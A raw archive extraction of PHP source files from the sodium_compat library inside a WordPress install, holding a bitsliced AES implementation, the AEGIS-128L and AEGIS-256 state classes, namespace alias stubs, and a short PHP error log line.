        /**
         * @var int $x0
         * @var int $x1
         * @var int $x2
         * @var int $x3
         * @var int $x4
         * @var int $x5
         * @var int $x6
         * @var int $x7
         */
        $x0 = $q[7] & self::U32_MAX;
        $x1 = $q[6] & self::U32_MAX;
        $x2 = $q[5] & self::U32_MAX;
        $x3 = $q[4] & self::U32_MAX;
        $x4 = $q[3] & self::U32_MAX;
        $x5 = $q[2] & self::U32_MAX;
        $x6 = $q[1] & self::U32_MAX;
        $x7 = $q[0] & self::U32_MAX;

        $y14 = $x3 ^ $x5;
        $y13 = $x0 ^ $x6;
        $y9 = $x0 ^ $x3;
        $y8 = $x0 ^ $x5;
        $t0 = $x1 ^ $x2;
        $y1 = $t0 ^ $x7;
        $y4 = $y1 ^ $x3;
        $y12 = $y13 ^ $y14;
        $y2 = $y1 ^ $x0;
        $y5 = $y1 ^ $x6;
        $y3 = $y5 ^ $y8;
        $t1 = $x4 ^ $y12;
        $y15 = $t1 ^ $x5;
        $y20 = $t1 ^ $x1;
        $y6 = $y15 ^ $x7;
        $y10 = $y15 ^ $t0;
        $y11 = $y20 ^ $y9;
        $y7 = $x7 ^ $y11;
        $y17 = $y10 ^ $y11;
        $y19 = $y10 ^ $y8;
        $y16 = $t0 ^ $y11;
        $y21 = $y13 ^ $y16;
        $y18 = $x0 ^ $y16;

        /*
         * Non-linear section.
         */
        $t2 = $y12 & $y15;
        $t3 = $y3 & $y6;
        $t4 = $t3 ^ $t2;
        $t5 = $y4 & $x7;
        $t6 = $t5 ^ $t2;
        $t7 = $y13 & $y16;
        $t8 = $y5 & $y1;
        $t9 = $t8 ^ $t7;
        $t10 = $y2 & $y7;
        $t11 = $t10 ^ $t7;
        $t12 = $y9 & $y11;
        $t13 = $y14 & $y17;
        $t14 = $t13 ^ $t12;
        $t15 = $y8 & $y10;
        $t16 = $t15 ^ $t12;
        $t17 = $t4 ^ $t14;
        $t18 = $t6 ^ $t16;
        $t19 = $t9 ^ $t14;
        $t20 = $t11 ^ $t16;
        $t21 = $t17 ^ $y20;
        $t22 = $t18 ^ $y19;
        $t23 = $t19 ^ $y21;
        $t24 = $t20 ^ $y18;

        $t25 = $t21 ^ $t22;
        $t26 = $t21 & $t23;
        $t27 = $t24 ^ $t26;
        $t28 = $t25 & $t27;
        $t29 = $t28 ^ $t22;
        $t30 = $t23 ^ $t24;
        $t31 = $t22 ^ $t26;
        $t32 = $t31 & $t30;
        $t33 = $t32 ^ $t24;
        $t34 = $t23 ^ $t33;
        $t35 = $t27 ^ $t33;
        $t36 = $t24 & $t35;
        $t37 = $t36 ^ $t34;
        $t38 = $t27 ^ $t36;
        $t39 = $t29 & $t38;
        $t40 = $t25 ^ $t39;

        $t41 = $t40 ^ $t37;
        $t42 = $t29 ^ $t33;
        $t43 = $t29 ^ $t40;
        $t44 = $t33 ^ $t37;
        $t45 = $t42 ^ $t41;
        $z0 = $t44 & $y15;
        $z1 = $t37 & $y6;
        $z2 = $t33 & $x7;
        $z3 = $t43 & $y16;
        $z4 = $t40 & $y1;
        $z5 = $t29 & $y7;
        $z6 = $t42 & $y11;
        $z7 = $t45 & $y17;
        $z8 = $t41 & $y10;
        $z9 = $t44 & $y12;
        $z10 = $t37 & $y3;
        $z11 = $t33 & $y4;
        $z12 = $t43 & $y13;
        $z13 = $t40 & $y5;
        $z14 = $t29 & $y2;
        $z15 = $t42 & $y9;
        $z16 = $t45 & $y14;
        $z17 = $t41 & $y8;

        /*
         * Bottom linear transformation.
         */
        $t46 = $z15 ^ $z16;
        $t47 = $z10 ^ $z11;
        $t48 = $z5 ^ $z13;
        $t49 = $z9 ^ $z10;
        $t50 = $z2 ^ $z12;
        $t51 = $z2 ^ $z5;
        $t52 = $z7 ^ $z8;
        $t53 = $z0 ^ $z3;
        $t54 = $z6 ^ $z7;
        $t55 = $z16 ^ $z17;
        $t56 = $z12 ^ $t48;
        $t57 = $t50 ^ $t53;
        $t58 = $z4 ^ $t46;
        $t59 = $z3 ^ $t54;
        $t60 = $t46 ^ $t57;
        $t61 = $z14 ^ $t57;
        $t62 = $t52 ^ $t58;
        $t63 = $t49 ^ $t58;
        $t64 = $z4 ^ $t59;
        $t65 = $t61 ^ $t62;
        $t66 = $z1 ^ $t63;
        $s0 = $t59 ^ $t63;
        $s6 = $t56 ^ ~$t62;
        $s7 = $t48 ^ ~$t60;
        $t67 = $t64 ^ $t65;
        $s3 = $t53 ^ $t66;
        $s4 = $t51 ^ $t66;
        $s5 = $t47 ^ $t65;
        $s1 = $t64 ^ ~$s3;
        $s2 = $t55 ^ ~$t67;

        $q[7] = $s0 & self::U32_MAX;
        $q[6] = $s1 & self::U32_MAX;
        $q[5] = $s2 & self::U32_MAX;
        $q[4] = $s3 & self::U32_MAX;
        $q[3] = $s4 & self::U32_MAX;
        $q[2] = $s5 & self::U32_MAX;
        $q[1] = $s6 & self::U32_MAX;
        $q[0] = $s7 & self::U32_MAX;
    }

    /**
     * Mutates the values of $q!
     *
     * @param ParagonIE_Sodium_Core_AES_Block $q
     * @return void
     */
    public static function invSbox(ParagonIE_Sodium_Core_AES_Block $q)
    {
        self::processInversion($q);
        self::sbox($q);
        self::processInversion($q);
    }

    /**
     * This is some boilerplate code needed to invert an S-box. Rather than repeat the code
     * twice, I moved it to a protected method.
     *
     * Mutates $q
     *
     * @param ParagonIE_Sodium_Core_AES_Block $q
     * @return void
     */
    protected static function processInversion(ParagonIE_Sodium_Core_AES_Block $q)
    {
        $q0 = (~$q[0]) & self::U32_MAX;
        $q1 = (~$q[1]) & self::U32_MAX;
        $q2 = $q[2] & self::U32_MAX;
        $q3 = $q[3] & self::U32_MAX;
        $q4 = $q[4] & self::U32_MAX;
        $q5 = (~$q[5])  & self::U32_MAX;
        $q6 = (~$q[6])  & self::U32_MAX;
        $q7 = $q[7] & self::U32_MAX;
        $q[7] = ($q1 ^ $q4 ^ $q6) & self::U32_MAX;
        $q[6] = ($q0 ^ $q3 ^ $q5) & self::U32_MAX;
        $q[5] = ($q7 ^ $q2 ^ $q4) & self::U32_MAX;
        $q[4] = ($q6 ^ $q1 ^ $q3) & self::U32_MAX;
        $q[3] = ($q5 ^ $q0 ^ $q2) & self::U32_MAX;
        $q[2] = ($q4 ^ $q7 ^ $q1) & self::U32_MAX;
        $q[1] = ($q3 ^ $q6 ^ $q0) & self::U32_MAX;
        $q[0] = ($q2 ^ $q5 ^ $q7) & self::U32_MAX;
    }

    /**
     * @param int $x
     * @return int
     */
    public static function subWord($x)
    {
        $q = ParagonIE_Sodium_Core_AES_Block::fromArray(
            array($x, $x, $x, $x, $x, $x, $x, $x)
        );
        $q->orthogonalize();
        self::sbox($q);
        $q->orthogonalize();
        return $q[0] & self::U32_MAX;
    }

    /**
     * Calculate the key schedule from a given random key
     *
     * @param string $key
     * @return ParagonIE_Sodium_Core_AES_KeySchedule
     * @throws SodiumException
     */
    public static function keySchedule($key)
    {
        $key_len = self::strlen($key);
        switch ($key_len) {
            case 16:
                $num_rounds = 10;
                break;
            case 24:
                $num_rounds = 12;
                break;
            case 32:
                $num_rounds = 14;
                break;
            default:
                throw new SodiumException('Invalid key length: ' . $key_len);
        }
        $skey = array();
        $comp_skey = array();
        $nk = $key_len >> 2;
        $nkf = ($num_rounds + 1) << 2;
        $tmp = 0;

        for ($i = 0; $i < $nk; ++$i) {
            $tmp = self::load_4(self::substr($key, $i << 2, 4));
            $skey[($i << 1)] = $tmp;
            $skey[($i << 1) + 1] = $tmp;
        }

        for ($i = $nk, $j = 0, $k = 0; $i < $nkf; ++$i) {
            if ($j === 0) {
                $tmp = (($tmp & 0xff) << 24) | ($tmp >> 8);
                $tmp = (self::subWord($tmp) ^ self::$Rcon[$k]) & self::U32_MAX;
            } elseif ($nk > 6 && $j === 4) {
                $tmp = self::subWord($tmp);
            }
            $tmp ^= $skey[($i - $nk) << 1];
            $skey[($i << 1)] = $tmp & self::U32_MAX;
            $skey[($i << 1) + 1] = $tmp & self::U32_MAX;
            if (++$j === $nk) {
                /** @psalm-suppress LoopInvalidation */
                $j = 0;
                ++$k;
            }
        }
        for ($i = 0; $i < $nkf; $i += 4) {
            $q = ParagonIE_Sodium_Core_AES_Block::fromArray(
                array_slice($skey, $i << 1, 8)
            );
            $q->orthogonalize();
            // We have to overwrite $skey since we're not using C pointers like BearSSL did
            for ($j = 0; $j < 8; ++$j) {
                $skey[($i << 1) + $j] = $q[$j];
            }
        }
        for ($i = 0, $j = 0; $i < $nkf; ++$i, $j += 2) {
            $comp_skey[$i] = ($skey[$j] & 0x55555555)
                | ($skey[$j + 1] & 0xAAAAAAAA);
        }
        return new ParagonIE_Sodium_Core_AES_KeySchedule($comp_skey, $num_rounds);
    }

    /**
     * Mutates $q
     *
     * @param ParagonIE_Sodium_Core_AES_KeySchedule $skey
     * @param ParagonIE_Sodium_Core_AES_Block $q
     * @param int $offset
     * @return void
     */
    public static function addRoundKey(
        ParagonIE_Sodium_Core_AES_Block $q,
        ParagonIE_Sodium_Core_AES_KeySchedule $skey,
        $offset = 0
    ) {
        $block = $skey->getRoundKey($offset);
        for ($j = 0; $j < 8; ++$j) {
            $q[$j] = ($q[$j] ^ $block[$j]) & ParagonIE_Sodium_Core_Util::U32_MAX;
        }
    }

    /**
     * This mainly exists for testing, as we need the round key features for AEGIS.
     *
     * @param string $message
     * @param string $key
     * @return string
     * @throws SodiumException
     */
    public static function decryptBlockECB($message, $key)
    {
        if (self::strlen($message) !== 16) {
            throw new SodiumException('decryptBlockECB() expects a 16 byte message');
        }
        $skey = self::keySchedule($key)->expand();
        $q = ParagonIE_Sodium_Core_AES_Block::init();
        $q[0] = self::load_4(self::substr($message, 0, 4));
        $q[2] = self::load_4(self::substr($message, 4, 4));
        $q[4] = self::load_4(self::substr($message, 8, 4));
        $q[6] = self::load_4(self::substr($message, 12, 4));

        $q->orthogonalize();
        self::bitsliceDecryptBlock($skey, $q);
        $q->orthogonalize();

        return self::store32_le($q[0]) .
            self::store32_le($q[2]) .
            self::store32_le($q[4]) .
            self::store32_le($q[6]);
    }

    /**
     * This mainly exists for testing, as we need the round key features for AEGIS.
     *
     * @param string $message
     * @param string $key
     * @return string
     * @throws SodiumException
     */
    public static function encryptBlockECB($message, $key)
    {
        if (self::strlen($message) !== 16) {
            throw new SodiumException('encryptBlockECB() expects a 16 byte message');
        }
        $comp_skey = self::keySchedule($key);
        $skey = $comp_skey->expand();
        $q = ParagonIE_Sodium_Core_AES_Block::init();
        $q[0] = self::load_4(self::substr($message, 0, 4));
        $q[2] = self::load_4(self::substr($message, 4, 4));
        $q[4] = self::load_4(self::substr($message, 8, 4));
        $q[6] = self::load_4(self::substr($message, 12, 4));

        $q->orthogonalize();
        self::bitsliceEncryptBlock($skey, $q);
        $q->orthogonalize();

        return self::store32_le($q[0]) .
            self::store32_le($q[2]) .
            self::store32_le($q[4]) .
            self::store32_le($q[6]);
    }

    /**
     * Mutates $q
     *
     * @param ParagonIE_Sodium_Core_AES_Expanded $skey
     * @param ParagonIE_Sodium_Core_AES_Block $q
     * @return void
     */
    public static function bitsliceEncryptBlock(
        ParagonIE_Sodium_Core_AES_Expanded $skey,
        ParagonIE_Sodium_Core_AES_Block $q
    ) {
        self::addRoundKey($q, $skey);
        for ($u = 1; $u < $skey->getNumRounds(); ++$u) {
            self::sbox($q);
            $q->shiftRows();
            $q->mixColumns();
            self::addRoundKey($q, $skey, ($u << 3));
        }
        self::sbox($q);
        $q->shiftRows();
        self::addRoundKey($q, $skey, ($skey->getNumRounds() << 3));
    }

    /**
     * @param string $x
     * @param string $y
     * @return string
     */
    public static function aesRound($x, $y)
    {
        $q = ParagonIE_Sodium_Core_AES_Block::init();
        $q[0] = self::load_4(self::substr($x, 0, 4));
        $q[2] = self::load_4(self::substr($x, 4, 4));
        $q[4] = self::load_4(self::substr($x, 8, 4));
        $q[6] = self::load_4(self::substr($x, 12, 4));

        $rk = ParagonIE_Sodium_Core_AES_Block::init();
        $rk[0] = $rk[1] = self::load_4(self::substr($y, 0, 4));
        $rk[2] = $rk[3] = self::load_4(self::substr($y, 4, 4));
        $rk[4] = $rk[5] = self::load_4(self::substr($y, 8, 4));
        $rk[6] = $rk[7] = self::load_4(self::substr($y, 12, 4));

        $q->orthogonalize();
        self::sbox($q);
        $q->shiftRows();
        $q->mixColumns();
        $q->orthogonalize();
        // add round key without key schedule:
        for ($i = 0; $i < 8; ++$i) {
            $q[$i] ^= $rk[$i];
        }
        return self::store32_le($q[0]) .
            self::store32_le($q[2]) .
            self::store32_le($q[4]) .
            self::store32_le($q[6]);
    }

    /**
     * Process two AES blocks in one shot.
     *
     * @param string $b0  First AES block
     * @param string $rk0 First round key
     * @param string $b1  Second AES block
     * @param string $rk1 Second round key
     * @return string[]
     */
    public static function doubleRound($b0, $rk0, $b1, $rk1)
    {
        $q = ParagonIE_Sodium_Core_AES_Block::init();
        // First block
        $q[0] = self::load_4(self::substr($b0, 0, 4));
        $q[2] = self::load_4(self::substr($b0, 4, 4));
        $q[4] = self::load_4(self::substr($b0, 8, 4));
        $q[6] = self::load_4(self::substr($b0, 12, 4));
        // Second block
        $q[1] = self::load_4(self::substr($b1, 0, 4));
        $q[3] = self::load_4(self::substr($b1, 4, 4));
        $q[5] = self::load_4(self::substr($b1, 8, 4));
        $q[7] = self::load_4(self::substr($b1, 12, 4));;

        $rk = ParagonIE_Sodium_Core_AES_Block::init();
        // First round key
        $rk[0] = self::load_4(self::substr($rk0, 0, 4));
        $rk[2] = self::load_4(self::substr($rk0, 4, 4));
        $rk[4] = self::load_4(self::substr($rk0, 8, 4));
        $rk[6] = self::load_4(self::substr($rk0, 12, 4));
        // Second round key
        $rk[1] = self::load_4(self::substr($rk1, 0, 4));
        $rk[3] = self::load_4(self::substr($rk1, 4, 4));
        $rk[5] = self::load_4(self::substr($rk1, 8, 4));
        $rk[7] = self::load_4(self::substr($rk1, 12, 4));

        $q->orthogonalize();
        self::sbox($q);
        $q->shiftRows();
        $q->mixColumns();
        $q->orthogonalize();
        // add round key without key schedule:
        for ($i = 0; $i < 8; ++$i) {
            $q[$i] ^= $rk[$i];
        }
        return array(
            self::store32_le($q[0]) . self::store32_le($q[2]) . self::store32_le($q[4]) . self::store32_le($q[6]),
            self::store32_le($q[1]) . self::store32_le($q[3]) . self::store32_le($q[5]) . self::store32_le($q[7]),
        );
    }

    /**
     * @param ParagonIE_Sodium_Core_AES_Expanded $skey
     * @param ParagonIE_Sodium_Core_AES_Block $q
     * @return void
     */
    public static function bitsliceDecryptBlock(
        ParagonIE_Sodium_Core_AES_Expanded $skey,
        ParagonIE_Sodium_Core_AES_Block $q
    ) {
        self::addRoundKey($q, $skey, ($skey->getNumRounds() << 3));
        for ($u = $skey->getNumRounds() - 1; $u > 0; --$u) {
            $q->inverseShiftRows();
            self::invSbox($q);
            self::addRoundKey($q, $skey, ($u << 3));
            $q->inverseMixColumns();
        }
        $q->inverseShiftRows();
        self::invSbox($q);
        self::addRoundKey($q, $skey, ($u << 3));
    }
}
AEGIS/State128L.php000064400000020052151024240020007521 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_AEGIS_State128L', false)) {
    return;
}

if (!defined('SODIUM_COMPAT_AEGIS_C0')) {
    define('SODIUM_COMPAT_AEGIS_C0', "\x00\x01\x01\x02\x03\x05\x08\x0d\x15\x22\x37\x59\x90\xe9\x79\x62");
}
if (!defined('SODIUM_COMPAT_AEGIS_C1')) {
    define('SODIUM_COMPAT_AEGIS_C1', "\xdb\x3d\x18\x55\x6d\xc2\x2f\xf1\x20\x11\x31\x42\x73\xb5\x28\xdd");
}

class ParagonIE_Sodium_Core_AEGIS_State128L
{
    /** @var array<int, string> $state */
    protected $state;
    public function __construct()
    {
        $this->state = array_fill(0, 8, '');
    }

    /**
     * @internal Only use this for unit tests!
     * @return string[]
     */
    public function getState()
    {
        return array_values($this->state);
    }

    /**
     * @param array $input
     * @return self
     * @throws SodiumException
     *
     * @internal Only for unit tests
     */
    public static function initForUnitTests(array $input)
    {
        if (count($input) < 8) {
            throw new SodiumException('invalid input');
        }
        $state = new self();
        for ($i = 0; $i < 8; ++$i) {
            $state->state[$i] = $input[$i];
        }
        return $state;
    }

    /**
     * @param string $key
     * @param string $nonce
     * @return self
     */
    public static function init($key, $nonce)
    {
        $state = new self();

        // S0 = key ^ nonce
        $state->state[0] = $key ^ $nonce;
        // S1 = C1
        $state->state[1] = SODIUM_COMPAT_AEGIS_C1;
        // S2 = C0
        $state->state[2] = SODIUM_COMPAT_AEGIS_C0;
        // S3 = C1
        $state->state[3] = SODIUM_COMPAT_AEGIS_C1;
        // S4 = key ^ nonce
        $state->state[4] = $key ^ $nonce;
        // S5 = key ^ C0
        $state->state[5] = $key ^ SODIUM_COMPAT_AEGIS_C0;
        // S6 = key ^ C1
        $state->state[6] = $key ^ SODIUM_COMPAT_AEGIS_C1;
        // S7 = key ^ C0
        $state->state[7] = $key ^ SODIUM_COMPAT_AEGIS_C0;

        // Repeat(10, Update(nonce, key))
        for ($i = 0; $i < 10; ++$i) {
            $state->update($nonce, $key);
        }
        return $state;
    }

    /**
     * @param string $ai
     * @return self
     */
    public function absorb($ai)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($ai) !== 32) {
            throw new SodiumException('Input must be two AES blocks in size');
        }
        $t0 = ParagonIE_Sodium_Core_Util::substr($ai, 0, 16);
        $t1 = ParagonIE_Sodium_Core_Util::substr($ai, 16, 16);
        return $this->update($t0, $t1);
    }


    /**
     * @param string $ci
     * @return string
     * @throws SodiumException
     */
    public function dec($ci)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($ci) !== 32) {
            throw new SodiumException('Input must be two AES blocks in size');
        }

        // z0 = S6 ^ S1 ^ (S2 & S3)
        $z0 = $this->state[6]
            ^ $this->state[1]
            ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]);
        // z1 = S2 ^ S5 ^ (S6 & S7)
        $z1 = $this->state[2]
            ^ $this->state[5]
            ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[6], $this->state[7]);

        // t0, t1 = Split(xi, 128)
        $t0 = ParagonIE_Sodium_Core_Util::substr($ci, 0, 16);
        $t1 = ParagonIE_Sodium_Core_Util::substr($ci, 16, 16);

        // out0 = t0 ^ z0
        // out1 = t1 ^ z1
        $out0 = $t0 ^ $z0;
        $out1 = $t1 ^ $z1;

        // Update(out0, out1)
        // xi = out0 || out1
        $this->update($out0, $out1);
        return $out0 . $out1;
    }

    /**
     * @param string $cn
     * @return string
     */
    public function decPartial($cn)
    {
        $len = ParagonIE_Sodium_Core_Util::strlen($cn);

        // z0 = S6 ^ S1 ^ (S2 & S3)
        $z0 = $this->state[6]
            ^ $this->state[1]
            ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]);
        // z1 = S2 ^ S5 ^ (S6 & S7)
        $z1 = $this->state[2]
            ^ $this->state[5]
            ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[6], $this->state[7]);

        // t0, t1 = Split(ZeroPad(cn, 256), 128)
        $cn = str_pad($cn, 32, "\0", STR_PAD_RIGHT);
        $t0 = ParagonIE_Sodium_Core_Util::substr($cn, 0, 16);
        $t1 = ParagonIE_Sodium_Core_Util::substr($cn, 16, 16);
        // out0 = t0 ^ z0
        // out1 = t1 ^ z1
        $out0 = $t0 ^ $z0;
        $out1 = $t1 ^ $z1;

        // xn = Truncate(out0 || out1, |cn|)
        $xn = ParagonIE_Sodium_Core_Util::substr($out0 . $out1, 0, $len);

        // v0, v1 = Split(ZeroPad(xn, 256), 128)
        $padded = str_pad($xn, 32, "\0", STR_PAD_RIGHT);
        $v0 = ParagonIE_Sodium_Core_Util::substr($padded, 0, 16);
        $v1 = ParagonIE_Sodium_Core_Util::substr($padded, 16, 16);
        // Update(v0, v1)
        $this->update($v0, $v1);

        // return xn
        return $xn;
    }

    /**
     * @param string $xi
     * @return string
     * @throws SodiumException
     */
    public function enc($xi)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($xi) !== 32) {
            throw new SodiumException('Input must be two AES blocks in size');
        }

        // z0 = S6 ^ S1 ^ (S2 & S3)
        $z0 = $this->state[6]
            ^ $this->state[1]
            ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]);
        // z1 = S2 ^ S5 ^ (S6 & S7)
        $z1 = $this->state[2]
            ^ $this->state[5]
            ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[6], $this->state[7]);

        // t0, t1 = Split(xi, 128)
        $t0 = ParagonIE_Sodium_Core_Util::substr($xi, 0, 16);
        $t1 = ParagonIE_Sodium_Core_Util::substr($xi, 16, 16);

        // out0 = t0 ^ z0
        // out1 = t1 ^ z1
        $out0 = $t0 ^ $z0;
        $out1 = $t1 ^ $z1;

        // Update(t0, t1)
        // ci = out0 || out1
        $this->update($t0, $t1);

        // return ci
        return $out0 . $out1;
    }

    /**
     * @param int $ad_len_bits
     * @param int $msg_len_bits
     * @return string
     */
    public function finalize($ad_len_bits, $msg_len_bits)
    {
        $encoded = ParagonIE_Sodium_Core_Util::store64_le($ad_len_bits) .
            ParagonIE_Sodium_Core_Util::store64_le($msg_len_bits);
        $t = $this->state[2] ^ $encoded;
        for ($i = 0; $i < 7; ++$i) {
            $this->update($t, $t);
        }
        return ($this->state[0] ^ $this->state[1] ^ $this->state[2] ^ $this->state[3]) .
            ($this->state[4] ^ $this->state[5] ^ $this->state[6] ^ $this->state[7]);
    }

    /**
     * @param string $m0
     * @param string $m1
     * @return self
     */
    public function update($m0, $m1)
    {
        /*
           S'0 = AESRound(S7, S0 ^ M0)
           S'1 = AESRound(S0, S1)
           S'2 = AESRound(S1, S2)
           S'3 = AESRound(S2, S3)
           S'4 = AESRound(S3, S4 ^ M1)
           S'5 = AESRound(S4, S5)
           S'6 = AESRound(S5, S6)
           S'7 = AESRound(S6, S7)
         */
        list($s_0, $s_1) = ParagonIE_Sodium_Core_AES::doubleRound(
            $this->state[7], $this->state[0] ^ $m0,
            $this->state[0], $this->state[1]
        );

        list($s_2, $s_3) = ParagonIE_Sodium_Core_AES::doubleRound(
            $this->state[1], $this->state[2],
            $this->state[2], $this->state[3]
        );

        list($s_4, $s_5) = ParagonIE_Sodium_Core_AES::doubleRound(
            $this->state[3], $this->state[4] ^ $m1,
            $this->state[4], $this->state[5]
        );
        list($s_6, $s_7) = ParagonIE_Sodium_Core_AES::doubleRound(
            $this->state[5], $this->state[6],
            $this->state[6], $this->state[7]
        );

        /*
           S0  = S'0
           S1  = S'1
           S2  = S'2
           S3  = S'3
           S4  = S'4
           S5  = S'5
           S6  = S'6
           S7  = S'7
         */
        $this->state[0] = $s_0;
        $this->state[1] = $s_1;
        $this->state[2] = $s_2;
        $this->state[3] = $s_3;
        $this->state[4] = $s_4;
        $this->state[5] = $s_5;
        $this->state[6] = $s_6;
        $this->state[7] = $s_7;
        return $this;
    }
}AEGIS/State256.php000064400000014575151024240020007424 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_AEGIS_State256', false)) {
    return;
}

if (!defined('SODIUM_COMPAT_AEGIS_C0')) {
    define('SODIUM_COMPAT_AEGIS_C0', "\x00\x01\x01\x02\x03\x05\x08\x0d\x15\x22\x37\x59\x90\xe9\x79\x62");
}
if (!defined('SODIUM_COMPAT_AEGIS_C1')) {
    define('SODIUM_COMPAT_AEGIS_C1', "\xdb\x3d\x18\x55\x6d\xc2\x2f\xf1\x20\x11\x31\x42\x73\xb5\x28\xdd");
}

class ParagonIE_Sodium_Core_AEGIS_State256
{
    /** @var array<int, string> $state */
    protected $state;
    public function __construct()
    {
        $this->state = array_fill(0, 6, '');
    }

    /**
     * @internal Only use this for unit tests!
     * @return string[]
     */
    public function getState()
    {
        return array_values($this->state);
    }

    /**
     * @param array $input
     * @return self
     * @throws SodiumException
     *
     * @internal Only for unit tests
     */
    public static function initForUnitTests(array $input)
    {
        if (count($input) < 6) {
            throw new SodiumException('invalid input');
        }
        $state = new self();
        for ($i = 0; $i < 6; ++$i) {
            $state->state[$i] = $input[$i];
        }
        return $state;
    }

    /**
     * @param string $key
     * @param string $nonce
     * @return self
     */
    public static function init($key, $nonce)
    {
        $state = new self();
        $k0 = ParagonIE_Sodium_Core_Util::substr($key, 0, 16);
        $k1 = ParagonIE_Sodium_Core_Util::substr($key, 16, 16);
        $n0 = ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16);
        $n1 = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 16);

        // S0 = k0 ^ n0
        // S1 = k1 ^ n1
        // S2 = C1
        // S3 = C0
        // S4 = k0 ^ C0
        // S5 = k1 ^ C1
        $k0_n0 = $k0 ^ $n0;
        $k1_n1 = $k1 ^ $n1;
        $state->state[0] = $k0_n0;
        $state->state[1] = $k1_n1;
        $state->state[2] = SODIUM_COMPAT_AEGIS_C1;
        $state->state[3] = SODIUM_COMPAT_AEGIS_C0;
        $state->state[4] = $k0 ^ SODIUM_COMPAT_AEGIS_C0;
        $state->state[5] = $k1 ^ SODIUM_COMPAT_AEGIS_C1;

        // Repeat(4,
        //   Update(k0)
        //   Update(k1)
        //   Update(k0 ^ n0)
        //   Update(k1 ^ n1)
        // )
        for ($i = 0; $i < 4; ++$i) {
            $state->update($k0);
            $state->update($k1);
            $state->update($k0 ^ $n0);
            $state->update($k1 ^ $n1);
        }
        return $state;
    }

    /**
     * @param string $ai
     * @return self
     * @throws SodiumException
     */
    public function absorb($ai)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($ai) !== 16) {
            throw new SodiumException('Input must be an AES block in size');
        }
        return $this->update($ai);
    }

    /**
     * @param string $ci
     * @return string
     * @throws SodiumException
     */
    public function dec($ci)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($ci) !== 16) {
            throw new SodiumException('Input must be an AES block in size');
        }
        // z = S1 ^ S4 ^ S5 ^ (S2 & S3)
        $z = $this->state[1]
            ^ $this->state[4]
            ^ $this->state[5]
            ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]);
        $xi = $ci ^ $z;
        $this->update($xi);
        return $xi;
    }

    /**
     * @param string $cn
     * @return string
     */
    public function decPartial($cn)
    {
        $len = ParagonIE_Sodium_Core_Util::strlen($cn);
        // z = S1 ^ S4 ^ S5 ^ (S2 & S3)
        $z = $this->state[1]
            ^ $this->state[4]
            ^ $this->state[5]
            ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]);

        // t = ZeroPad(cn, 128)
        $t = str_pad($cn, 16, "\0", STR_PAD_RIGHT);

        // out = t ^ z
        $out = $t ^ $z;

        // xn = Truncate(out, |cn|)
        $xn = ParagonIE_Sodium_Core_Util::substr($out, 0, $len);

        // v = ZeroPad(xn, 128)
        $v = str_pad($xn, 16, "\0", STR_PAD_RIGHT);
        // Update(v)
        $this->update($v);

        // return xn
        return $xn;
    }

    /**
     * @param string $xi
     * @return string
     * @throws SodiumException
     */
    public function enc($xi)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($xi) !== 16) {
            throw new SodiumException('Input must be an AES block in size');
        }
        // z = S1 ^ S4 ^ S5 ^ (S2 & S3)
        $z = $this->state[1]
            ^ $this->state[4]
            ^ $this->state[5]
            ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]);
        $this->update($xi);
        return $xi ^ $z;
    }

    /**
     * @param int $ad_len_bits
     * @param int $msg_len_bits
     * @return string
     */
    public function finalize($ad_len_bits, $msg_len_bits)
    {
        $encoded = ParagonIE_Sodium_Core_Util::store64_le($ad_len_bits) .
            ParagonIE_Sodium_Core_Util::store64_le($msg_len_bits);
        $t = $this->state[3] ^ $encoded;

        for ($i = 0; $i < 7; ++$i) {
            $this->update($t);
        }

        return ($this->state[0] ^ $this->state[1] ^ $this->state[2]) .
            ($this->state[3] ^ $this->state[4] ^ $this->state[5]);
    }

    /**
     * @param string $m
     * @return self
     */
    public function update($m)
    {
        /*
            S'0 = AESRound(S5, S0 ^ M)
            S'1 = AESRound(S0, S1)
            S'2 = AESRound(S1, S2)
            S'3 = AESRound(S2, S3)
            S'4 = AESRound(S3, S4)
            S'5 = AESRound(S4, S5)
         */
        list($s_0, $s_1) = ParagonIE_Sodium_Core_AES::doubleRound(
            $this->state[5],$this->state[0] ^ $m,
            $this->state[0], $this->state[1]
        );

        list($s_2, $s_3) = ParagonIE_Sodium_Core_AES::doubleRound(
            $this->state[1], $this->state[2],
            $this->state[2], $this->state[3]
        );
        list($s_4, $s_5) = ParagonIE_Sodium_Core_AES::doubleRound(
            $this->state[3], $this->state[4],
            $this->state[4], $this->state[5]
        );

        /*
            S0  = S'0
            S1  = S'1
            S2  = S'2
            S3  = S'3
            S4  = S'4
            S5  = S'5
         */
        $this->state[0] = $s_0;
        $this->state[1] = $s_1;
        $this->state[2] = $s_2;
        $this->state[3] = $s_3;
        $this->state[4] = $s_4;
        $this->state[5] = $s_5;
        return $this;
    }
}
BLAKE2b.php000064400000000142151024240020006302 0ustar00<?php
namespace ParagonIE\Sodium\Core;

class BLAKE2b extends \ParagonIE_Sodium_Core_BLAKE2b
{

}
Util.php000064400000000134151024240020006156 0ustar00<?php
namespace ParagonIE\Sodium\Core;

class Util extends \ParagonIE_Sodium_Core_Util
{

}
Salsa20.php000064400000000142151024240020006445 0ustar00<?php
namespace ParagonIE\Sodium\Core;

class Salsa20 extends \ParagonIE_Sodium_Core_Salsa20
{

}
AES/error_log000064400000010111151024240020007051 0ustar00[28-Oct-2025 14:07:21 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
